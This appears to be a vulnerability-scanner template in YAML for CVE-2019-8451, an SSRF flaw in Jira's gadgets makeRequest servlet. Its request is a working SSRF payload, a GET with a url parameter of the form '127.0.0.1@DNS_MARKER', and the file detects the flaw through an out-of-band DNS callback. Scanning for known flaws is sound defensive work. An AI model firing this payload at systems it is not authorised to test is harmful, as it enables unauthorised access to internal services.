CVE-2019-8451.yaml

send:
  - method: 'GET'
    url: '/plugins/servlet/gadgets/makeRequest?url=http://127.0.0.1@DNS_MARKER/'
    headers:
      - Host: 127.0.0.1
      - X-Atlassian-Token: no-check

detect:
  - oob:
    - dns

meta-info:
  - type: ssrf
  - threat: 95
  - tags: 
    - SSRF
    - CVE-2019-8451